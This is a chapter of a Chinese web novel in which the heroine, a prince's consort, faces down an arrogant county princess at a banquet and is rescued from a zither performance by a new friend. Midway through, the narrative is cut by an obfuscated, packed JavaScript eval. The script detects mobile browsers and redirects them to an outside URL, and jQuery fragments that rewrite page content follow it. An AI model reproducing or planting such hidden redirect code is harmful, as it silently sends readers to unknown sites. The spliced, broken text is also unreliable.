她们前脚踏进屋子,后脚便下起了小雨。
侍女们端着屉子,加快了步子迈入正屋,将午膳一一摆放在桌上。
云英面、东坡肉、盐豉汤、烧鹅、烩鱼块……八菜一汤,还有一道饭后糕点樱桃毕罗。
眼下不是樱桃成熟的季节,用的是往年采摘樱桃制成的樱桃酱,放在冷库里可以存上一年不腐,做成毕罗味道也不差。
秋雪檀让侍女们下去,屋中只有她与谷雨,二人抿抿春,净手后,坐在桌前,拿起筷子夹菜放入口中,细细品味。
细雨淋淋漓漓,一炷香后,乌云渐渐散去,微光撒在冬檀院的石砖上。
秋雪檀伸着懒腰,站在院中,闭眸凝神,雨后的空气格外清新,沁人心扉。
院中的花儿似乎冒出了小花苞,摇曳在微风中,像极了雀跃的孩童。
谷雨拿着披风,给她系上。
主仆二人携手,在王府闲逛,这也是近日为数不多的趣味了。
-
转眼到了上巳节,百花齐放。
秋雪檀穿上新衣,戴上钗环,妆容清新脱俗,既有王府颜面,又不庸俗。
张嬷嬷难掩笑容,一直夸赞她的美貌,到了赏花宴,必定艳压群芳。
既是顾及王府颜面,又是去伯府赴宴,她便命人套了一乘五驾马车,往成安伯府驶去。
成安伯府无人在朝中任职,空有爵位,逐渐没落。但瘦死的骆驼比马大,伯府根基还在,京中权贵无一不赏光。
今日赴宴的不仅有贵女们,亦有翩翩公子,只是男女分席,中间隔了一堵墙,打不了照面。
成安伯府门前水泄不通,正当她们惆怅马车停在何处时,一个小厮跑来。
“可是安定王府的马车?里面坐着的可是安定王妃?”
车夫点头:“正是我家王妃。”
小厮吆喝着随他去,只见他跳上马车,驾着马车绕到了伯府后面,又从后面绕到了另一侧,停在了一处空位。
“这是我家伯夫人吩咐的,专为王妃留的。”小厮撂下这句话,转头匆匆离去。
秋雪檀微微挑眉,专为她留的空位?这位伯夫人是想巴结安定王府吗?她这么做,真是不怕得罪了太后。
贵女们打扮得花枝招展,比春日的花还美。
秋雪檀缓缓朝伯府大门走去,跟在一位淡雅高贵的贵女身后,递上请柬,入了伯府,由侍女引着,去了伯府花园。
那位贵女回眸一笑,她微微出神,瞧着是位温柔可人的小姐,不知是谁家的。
园中已到了许多贵女,她们两三个围在一起,或赏花,或饮茶,或晤谈。
秋雪檀放眼望去,皆不相识,独自坐在亭中,品尝起了糕点。
她咀嚼着,眼前一亮:“谷雨,快尝尝,这个酥入口即化,甚是美味。”
谷雨盈盈笑,环顾四周,用衣袖掩着拿起一块放入口中,一边咀嚼一边点头。
少倾,她瞅见一位身着紫色襦裙,头上插满钗环的女子,别有一番风味。
亭下,几个贵女窃窃私语。
她无意中听见几句抱怨,说什么一个妾室怎么能来这种场合。
秋雪檀顿了顿,想必那就是成安伯世子的宠妾魏氏。
魏氏本是成安伯夫人远房表妹之女,表妹家中没落,便将魏氏送入伯府教养,不知不觉与世子眉来眼去,顺理成章成了姨娘。
“本县主当是谁呢,竟然是你这个乡野村妇,成安伯夫人也真是的,即便是家族逐渐没落,也不能什么人都请来。”
一道刺儿的声音传来,二人抬眸望去,是赵慧茹提着裙摆,气势汹汹朝她们走来。
她竟然也来了,真是冤家路窄。
赵慧茹居高临下,拿起桌上的糕点扔在地上:“让你们吃,真是没见过世面的。”
“你是县主也不能如此霸道无理吧,糟践了这么好的糕点!”谷雨气不过,争辩了一句。
赵慧茹冷哼一声,抬手甩了谷雨一巴掌,真是小贱人,竟敢以下犯上!
谷雨捂着脸,眼底含泪看向秋雪檀。
秋雪檀缓缓起身,不紧不慢道:“县主,你如此做,才是伤了自己的颜面,亦是毁了皇家颜面。身为县主,嚣张跋扈,欺凌弱小,目中无人,传出去可劲让人笑话。”
众人听见这边有吵闹声,纷纷围了上来。
有说她是何人敢得罪县主,也有赞她胆大的,治一治县主这个跋扈劲,有人想看热闹不嫌事大,言语间尽是拱火。
赵慧茹举起手,欲打秋雪檀,却瞧见四下都是人,她的手悬在半空中,紧咬着牙关。
秋雪檀淡淡一笑,怎么不动手了?
她向前一步,赵慧茹后退一步,不情愿地放下了手。
“来人,将这对冒犯本县主的贱人赶出伯府!”
赵慧茹吼了一声,身后蹦出来两个侍女,撸起袖子欲抓二人的胳膊,却被二人躲开。
“你们还敢躲!”赵慧茹气急败坏,喊着定要将二人千刀万剐。
秋雪檀冷哼一声,反手将两个侍女推下,只听哎呀一声,她们撞倒了赵慧茹,三人摔了个人仰马翻。
寂静片刻,全场一片哗然。
赵慧茹羞红了脸,衣裳也弄脏了。
秋雪檀勾起唇角:“县主的衣裳污了,你们还不快扶县主下去换身衣裳。”
“你这个贱人!本县主定要诛你九族!”她叫嚣着爬起来,也顾不得贵女的体面,冲上去掐住了秋雪檀的脖颈。
众人震惊,一边说着将她们拉开,却无人上前。
这时,门口遇见的那位淡雅高贵的女子走出人群,想上前将二人拉开,却崴了脚。
“你们做什么呢!”
一声呵斥传来,赵慧茹才松开手。
只见一位雍容华贵的妇人走来,想必她便是成安伯夫人。
成安伯夫人一瞅,忙道:“县主,王妃,你们怎么了?快,快扶县主和王妃去换身衣裳。”
王妃?
这贱人是王妃?
赵慧茹惊愕,哪个王妃?总不能是安定王妃吧?
话落,众人惊叹不已。
“伯夫人,失礼了。”秋雪檀福身,跟随伯府侍女去暖阁换衣裳。
赵慧茹回过神来,沉闷着脸去了另一处暖阁。
这时,才有人发现崴了脚的淡雅贵女,上前关心。
秋雪檀换好衣裳,走出暖阁,遥遥一望,墙的另一面,是公子们在作诗,她瞥了一眼,瞧见了一张熟悉的面孔——宋崇舟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679720|173235||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
她的心不由得一颤,幸而是男女分席,否则碰见就遭了。
谷雨扶着她,她定了定神,回了花园子。
听闻县主自觉失了颜面,便离开了侯府。
秋雪檀依旧坐在方才的凉亭,不同的是,几个贵女围上来,纷纷称赞她的胆量。
原是她们忍耐赵慧茹多时,奈何她是太后的亲侄女,她们也只能忍气吞声。
秋雪檀谦虚了几句,环顾四周,怎么不见方才助她的那位贵女?
“哦,你说的是云家二小姐紫音吧。”
“她脚崴了,去暖阁敷药了。”
云紫音?
那岂不是未来的北燕皇后?
她听萧寒暮说过,云紫音是云丞相与先夫人之女,性子温婉,才高行洁,与妹妹云紫月的娇蛮大为不同。
也不知怎么,太后的侄女和外甥女都娇蛮,不是一家人不进一家门,祖传的吧。
这时,伯府姨娘魏氏摇摇晃晃走来,脸上洋溢着笑容。
“妾给王妃请安,王妃真是清丽脱俗,比燕京第一美人还要美上几分。”
秋雪檀眉心微皱,这是捧杀她,将她拽往深渊,一句话,让她得罪了那位。
她淡淡一笑:“原来是魏姨娘,本妃没想到,伯府这般不拘小节,妾室都能来赏花宴了?”
魏姨娘的笑容瞬间消失,一脸尴尬,不知说甚。
亭下的贵女们纷纷对魏氏嗤之以鼻,毕竟高鸿宠妾灭妻之事闹得人尽皆知,大家自然不待见她。
她尴尬地福身,悻悻离去。
秋雪檀拿起茶盅,饮了一口,她头一次来赏花宴,也不知需要做些什么,似乎也没有什么可做的。
没一会儿,花园中间传来琴声,清音悠扬,与此景甚为相配。
“那是尚书令家的千金在抚琴。”一道轻柔的声音传来,秋雪檀抬眸一看,是云紫音。
云紫音被侍女搀扶着,坐在了她的身旁,淡淡一笑,轻唤一声“王妃”。
“云二小姐多礼了,日后,我还要给你请安。”秋雪檀拱手,“方才多谢云小姐相助。”
云紫音轻轻一笑,她也没帮上什么,还崴了脚,真是惹人笑话。
她道,王妃此举,定会让京中贵女对其改观。
秋雪檀不以为然,别人看不看得起她不重要,她看得起自己便好。
二人晤谈了许久,一见如故。
这个云紫音在家不受宠,这些年想必在云府如履薄冰,真是可怜。
忽然,有人高喊一声,说记得安定王妃的琴艺在燕京城数一数二,不知是否有幸听她抚琴一曲。
这般动静,引得隔壁的才子们透过花窗瞭望。
秋雪檀霎时怔住。
抚琴?她又不是秋海棠,哪里会抚琴?
之前假装圆房逃过一劫,眼下可如何是好?
若是直接说不愿抚琴,岂不是显得安定王妃傲慢?
“啊!”
云紫音不小心打翻了茶盅,滚烫的茶水洒在秋雪檀的手背,只听一声惨叫,她捂住了手,不解地看向云紫音。
云紫音似笑非笑,起身道歉,并眨了眨眸子。
秋雪檀瞬间会意,又惨叫了一声,我的手,好痛……